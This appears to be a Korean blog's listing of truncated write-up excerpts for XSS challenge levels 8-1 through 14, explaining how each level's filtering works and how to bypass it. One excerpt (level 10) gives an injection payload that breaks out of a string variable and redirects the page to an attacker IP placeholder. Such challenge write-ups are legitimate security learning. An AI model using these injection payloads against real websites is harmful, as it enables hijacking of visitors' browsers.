XSS Challenges 14

14λ‹¨κ³„λΆ€ν„°λŠ” μ‘°κΈˆμ”© λ‚œμ΄λ„κ°€ μ˜¬λΌκ°€λŠ” κ²ƒμœΌλ‘œ λ³΄μž…λ‹ˆλ‹€. 메인 νŽ˜μ΄μ§€μ—λŠ” λ‹€μ†Œ μ‹¬ν”Œν•œ λ””μžμΈμ„ 가지고 μžˆκΈ°μ— μ†ŒμŠ€λ₯Ό λ³΄λ©΄μ„œ 뢄석을 해보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€. λ³΄μ΄λŠ” ν¬μΈνŠΈκ°€ λ”± 2곳이 ν™•μΈλ©λ‹ˆλ‹€. μ²«λ²ˆμ§ΈλŠ” analytics.js.js λΆ€λΆ„κ³Ό try_harder λ³€μˆ˜μž…λ‹ˆλ‹€. 슀크둀 제일 ν•˜λ‹¨μœΌλ‘œ 내렀보면 analytics.js 파일이 ν•˜λ‚˜ 더 μ‘΄μž¬ν•©λ‹ˆλ‹€. 3번째 μ€„μ˜ analytics.js.jsλŠ” μœ νš¨ν•˜μ§€ μ•Šμ€ 경둜이며 슀크둀 제일 ν•˜λ‹¨μ—λŠ” μœ νš¨ν•œ κ²½λ‘œκ°€ μž…λ ₯λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. μž…λ ₯ν•˜κ³ μž ν•˜λŠ” νŒŒλΌλ―Έν„°μ˜ 값을 λͺ¨λ‘ μ œκ±°ν•΄λ³΄λ©΄ src에 λΆ€μ—¬λœ κ²½λ‘œλŠ” μ œκ±°λ˜μ–΄ μžˆμ§€λ§Œ. jsλŠ” κ³ μ •μ μœΌλ‘œ 남아 μžˆμŠ΅λ‹ˆλ‹€. μž…λ ₯ κ°’ 검증은 μ–΄λ–»κ²Œ μ§„ν–‰λ˜λ‚˜ 확인해보면 ꡉμž₯히 νƒ€μ΄νŠΈν•˜κ²Œ κ²€μ¦ν•˜κ³  μžˆμ–΄ μž„μ˜ μžλ°”μŠ€ν¬λ¦½νŠΈ ꡬ문을 μ‚½μž…ν•˜μ—¬ μ‹€ν–‰μ‹œν‚¬..

CHALLENGE
XSS Challenges 13

13단계 메인 νŽ˜μ΄μ§€λ₯Ό 확인해보면 μ „ 단계와 μœ μ‚¬ν•œ λ””μžμΈμ„ 가지고 있으며, 12λ‹¨κ³„μ—μ„œ μ‚¬μš©λœ Payloadκ°€ λ™μž‘ν•  μˆ˜λ„ λ™μž‘ν•˜μ§€ μ•Šμ„ μˆ˜λ„ μžˆλ‹€λŠ” λ‚΄μš©μ΄ λ‹΄κ²¨μžˆμŠ΅λ‹ˆλ‹€. μ œκ°€ μ‚¬μš©ν–ˆλ˜ PayloadλŠ” λ™μž‘ν•˜μ§€ μ•Šμ•˜μœΌλ―€λ‘œ μ½”λ“œλ₯Ό μ‚΄νŽ΄λ³΄κ² μŠ΅λ‹ˆλ‹€. λ™μΌν•˜κ²Œ νƒœκ·Έλ₯Ό 톡해 untrusted 도메인이 μ„ μ–Έλ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. 슀크둀이 λ„ˆλ¬΄ 남아 λ°‘μœΌλ‘œ λ‚΄λ €λ³΄λ‹ˆ ` (λ°± μΏΌν„°)λ₯Ό μ‚¬μš©ν•΄μ£Όλ©΄ νŒμ—…μ°½μ€ 무리 없이 λ„μšΈ 수 μžˆμ§€λ§Œ λ­”κ°€ λ‹€λ₯Έ 방식을 톡해 m λ³€μˆ˜μ— μ„ μ–Έλœ "Good Luck!"을 λ„μ›Œμ£Όκ³  μ‹ΆμŠ΅λ‹ˆλ‹€. () Bypass 기본적으둜 " () " κ΄„ν˜Έ ν•„ν„°λ§μ˜ 우회 기법을 " `(Back Quote)" 둜 많이 μ‚¬μš©ν•˜μ§€λ§Œ 이 방법 이외에 μ•„λž˜μ™€ 같은 2가지 속성을 μ΄μš©ν•΄ κ΄„ν˜Έ μ‚¬μš©μ„ ν”Όν•  수 μžˆμŠ΅λ‹ˆλ‹€. 1. Con..

CHALLENGE
XSS Challenges 12

12λ‹¨κ³„λŠ” λ‹€μ†Œ λ‹€λ₯Έ λͺ¨μŠ΅μ˜ νŽ˜μ΄μ§€λ‘œ ν™•μΈλ©λ‹ˆλ‹€. μ†ŒμŠ€μ½”λ“œλ₯Ό λ¨Όμ € λ³΄λ©΄μ„œ ν•΄κ²°ν•΄λ‚˜κ°€ 보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€. 이전 λ‹¨κ³„μ—μ„œλŠ” μžλ°”μŠ€ν¬λ¦½νŠΈμ— μ„ μ–Έλœ λ³€μˆ˜λ₯Ό ν™œμš©ν•΄μ„œ νŒμ—…μ°½μ„ 띄웠더라면 μ΄μ œλŠ” 의 νƒœκ·Έμ— λΆ€μ—¬λœ μ£Όμ†Œλ₯Ό ν™œμš©ν•˜μ—¬ ν•΄κ²°ν•΄μ•Ό λ˜λŠ” 문제인 것 κ°™μŠ΅λ‹ˆλ‹€. src="" 속성에 λΆ€μ—¬λœ untrusted νŽ˜μ΄μ§€λ‘œ μ΄λ™ν•΄λ³΄κ² μŠ΅λ‹ˆλ‹€. untrusted.so.co.il νŽ˜μ΄μ§€λŠ” 이전 λ‹¨κ³„μ—μ„œ λ³΄μ—¬μ‘Œλ˜ νŽ˜μ΄μ§€λ“€μ²˜λŸΌ λ‹€μ†Œ μ‹¬ν”Œν•œ 화면을 λ„μš°κ³  μžˆμŠ΅λ‹ˆλ‹€. ν•΄λ‹Ή νŽ˜μ΄μ§€ μ†ŒμŠ€μ½”λ“œλ₯Ό 확인해 λ³΄κ² μŠ΅λ‹ˆλ‹€. μœ„μ—μ„œλΆ€ν„° ν™•μΈν•΄λ³΄μ‹œλ©΄ λ³€μˆ˜ mμ—λŠ” 'Good Luck!' String λ¬Έμžμ—΄μ΄ μ„ μ–Έλ˜μ–΄ 있으며. php? p=에 μž…λ ₯된 PayloadλŠ” 12번째 μ€„μ˜ a λ³€μˆ˜μ— 'Payload'; ν˜•νƒœλ‘œ μ‚½μž…λ˜κ³  μžˆμŠ΅λ‹ˆλ‹€. 기본적으둜 " ';..

CHALLENGE
XSS Challenges 11

레벨 11단계λ₯Ό λ³΄μ‹œλ©΄ 비ꡐ적 μ‹¬ν”Œν•œ νŽ˜μ΄μ§€ κ΅¬μ„±μœΌλ‘œ λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. μš°μ„  μ†ŒμŠ€μ½”λ“œ λ¨Όμ € 보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€. μ΄λ²ˆμ—λŠ” λ‹€μ†Œ λ³΅μž‘ν•œ μ½”λ“œλ“€λ‘œ κ΅¬μ„±λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. .php?p=에 μž…λ ₯된 PayloadλŠ” "a"λΌλŠ” λ³€μˆ˜μ— λ‹΄κΈ°κ²Œ λ©λ‹ˆλ‹€. 11λ‹¨κ³„μ—μ„œλΆ€ν„°λŠ” μ‹€ν–‰ κ°€λŠ₯ν•œ μž…λ ₯ κ°’ μ΄μ™Έμ—λŠ” λͺ¨λ‘ μ˜ˆμ™Έμ²˜λ¦¬λ₯Ό μ§„ν–‰ν•˜κ³  μžˆμ–΄ λ³„λ„μ˜ 블둝 화면이 λ‚˜νƒ€λ‚˜κ²Œ λ©λ‹ˆλ‹€. 이문제λ₯Ό 푸신뢄듀은 μ € "Hacking attempt" 화면을 μˆ˜μ‹­ 번 봀을 것이라 μƒκ°ν•©λ‹ˆλ‹€... μ €λŠ” ν•΄κ²°ν•˜κΈ° μœ„ν•΄ μ—¬λŸ¬ κΈ°λ²•λ“€μ˜ Bofore Afterλ₯Ό λΆ„μ„ν–ˆλŠ”λ° 도저희 μ‹€ν–‰κ°€λŠ₯ν•œ ꡬ문을 λͺ» μ°Ύμ•˜μŠ΅λ‹ˆλ‹€.. νžŒνŠΈλΌκ³ λŠ” μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” μ±Œλ¦°μ§€κΈ° λ•Œλ¬Έμ— ν•œμ°Έμ„ 헀맀닀가 security.stackexchange.comμ—μ„œ μš°μ—°νžˆ 해결법을 ν™•μΈν–ˆμŠ΅λ‹ˆλ‹€. 결둠적으둜 ..

CHALLENGE
XSS Challenges 10

level 10단계λ₯Ό μ§„ν–‰ν•˜κ² μŠ΅λ‹ˆλ‹€. ν‘œλ©΄μƒ λ³΄μ΄λŠ” 화면은 이전과 μœ μ‚¬ν•œ λͺ¨μŠ΅μ„ λ„μš°κ³  μžˆμŠ΅λ‹ˆλ‹€. λ‚΄λΆ€ μ½”λ“œλ₯Ό λ¨Όμ € μ‚΄νŽ΄λ³΄λ„λ‘ ν•˜κ² μŠ΅λ‹ˆλ‹€. 10λ‹¨κ³„μ—μ„œλŠ” a와 bλΌλŠ” λ³€μˆ˜μ™€ 값이 μ„ μ–Έλ˜μ–΄ μžˆλŠ” μƒνƒœμž…λ‹ˆλ‹€. μš°λ¦¬κ°€ μž…λ ₯ν•  PayloadλŠ” "a" λ³€μˆ˜μ— 담기도둝 λ˜μ–΄μžˆλŠ”λ° document.write 속성을 톡해 값이 μ‹€ν–‰λ˜λŠ” 것을 보싀 수 μžˆμŠ΅λ‹ˆλ‹€. document.write()의 κΈ°λŠ₯은 Document Object의 ν•¨μˆ˜λ‘œ 인수 값을 μ›Ή λΈŒλŸ¬μš°μ € 화면에 ν…μŠ€νŠΈ ν˜•μ‹μœΌλ‘œ 좜λ ₯ν•΄μ£ΌλŠ” κΈ°λŠ₯을 가지고 μžˆμŠ΅λ‹ˆλ‹€. ';{document.location.href="http://IP"}// 9λ‹¨κ³„μ—μ„œ μ§„ν–‰ν•œ λ°©λ²•λŒ€λ‘œ aλ³€μˆ˜λ₯Ό λ‹«μ•„ 마무리(;)ν•΄μ£Όκ³  곡격자 μ„œλ²„λ₯Ό λ‘œλ“œμ‹œμΌœ μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰λ˜λ„λ‘ ν•΄μ£Όλ©΄ 될 것 κ°™μŠ΅λ‹ˆλ‹€. λ’€..

CHALLENGE
XSS Challenges 9

ν•œλ™μ•ˆ μ˜¬λ¦¬μ§€ λͺ»ν–ˆλ˜ XSS μ±Œλ¦°μ§€λ₯Ό μ˜€λžœλ§Œμ— λ‹€μ‹œ ν’€κ²Œ λ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ œκ°€ 재미있게 ν’€κ³  μžˆλŠ” Alexander Korznikov의 XSS μ±Œλ¦°μ§€μ˜ μž₯점은 기쑴의 XSS κ²Œμž„κ³ΌλŠ” λ‹€λ₯΄κ²Œ 파회 법을 올린 μ‚¬λžŒλ“€μ΄ 많이 μ—†μœΌλ©°(κ΅­λ‚΄μ—μ„œλŠ” λ³Έ 적이 μ—†λ„€μš”..) 좜제자의 μ˜λ„λ₯Ό μ•Œμ•„μ„œ νŒŒμ•…ν•˜κ³  일말의 힌트 없이 곡랡 ν•œλ‹€λŠ” μ μ—μ„œ λ”μš± 애착이 κ°€κ³  λͺ°μž…이 λ˜λŠ” κ±° κ°™μŠ΅λ‹ˆλ‹€. 곡랡 νŽ˜μ΄μ§€λŠ” ꡉμž₯히 μ‹¬ν”Œν•©λ‹ˆλ‹€. Reflected λ°©μ‹μœΌλ‘œ νŒŒλΌλ―Έν„°μ— μ μ ˆν•œ Payloadκ°€ μ‚½μž…λ  경우 λ‹€μ΄μ–Όλ‘œκ·Έ νŒμ—…μ°½μ„ λ„μš°μ‹€ 수 μžˆμŠ΅λ‹ˆλ‹€. 이전 단계(8-1) 의 μ†ŒμŠ€μ™€ μœ μ‚¬ν•œ ν˜•νƒœμ˜ μ½”λ“œλ₯Ό 가지고 μžˆμŠ΅λ‹ˆλ‹€. bλΌλŠ” λ³€μˆ˜μ—λŠ” "1"이 μ„ μ–Έλ˜μ–΄ 있고 if 쑰건문을 톡해 μŠ€ν¬λ¦½νŠΈκ°€ 싀행될 수 μžˆλ„λ‘ ꡬ문을 μ™„μ„±μ‹œμΌœμ•Ό λ©λ‹ˆλ‹€. b의 λ³€μˆ˜..

CHALLENGE
XSS Challenges 8-1

쑰건문이 μ‚¬μš©λœ 8 Level을 μ΄μ–΄μ„œ 8-1 LevelκΉŒμ§€ ν•œλ²ˆ 풀어보도둝 ν•˜κ² μŠ΅λ‹ˆλ‹€. λ§ˆμ°¬κ°€μ§€λ‘œ 링크 νƒœκ·Έλ‚˜ μž…λ ₯을 λ°›λŠ” 폼이 λ”°λ‘œ μ‘΄μž¬ν•˜μ§€ μ•ŠμœΌλ©° URL νŒŒλΌλ―Έν„°μ— μ λ‹Ήν•œ λ¬Έμžμ—΄μ„ μ‚½μž…ν•˜λ„λ‘ ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. νŽ˜μ΄μ§€ μ†ŒμŠ€λ₯Ό λ³΄μ‹œλ©΄ 8 Level μ†ŒμŠ€μ™€ μœ μ‚¬ν•΄ λ³΄μ΄μ§€λ§Œ 쑰금 λ‹€λ₯Έ ν˜•νƒœλ₯Ό 가지고 μžˆμŠ΅λ‹ˆλ‹€. μŠ€ν¬λ¦½νŠΈμ½”λ“œλŠ” λ§ˆμ°¬κ°€μ§€λ‘œ μ‹€ν–‰λ˜μ§€ μ•Šκ³  있으며 μ΄μœ λŠ” λ°”λ‘œ "쀄 λ°”κΏˆ"에 μžˆμŠ΅λ‹ˆλ‹€. 총 2곳의 μ€„λ°”κΏˆ μ²˜λ¦¬κ°€ λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. if ( b == 2 ){a = "Your_Payload"} λΉ¨κ°„μƒ‰μœΌλ‘œ 처리된 λΆ€λΆ„μ˜μ€„ λ°”κΏˆμœΌλ‘œ 인해 μž…λ ₯된 λ¬Έμžμ—΄μ΄ 였λ₯˜κ°€ λ°œμƒν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€. λ§ˆμ§€λ§‰ 문단라인은 " } " λ‹«νž˜μ— 잘 맞게 λ¬Έμžμ—΄ μ‘°μ ˆμ„ ν•˜λ©΄ λ˜κ² μ§€λ§Œ 첫 번째 " { " 쀄 λ°”λ€œμœΌλ‘œ 인해 else 쑰건문이 μ œλŒ€λ‘œ..

CHALLENGE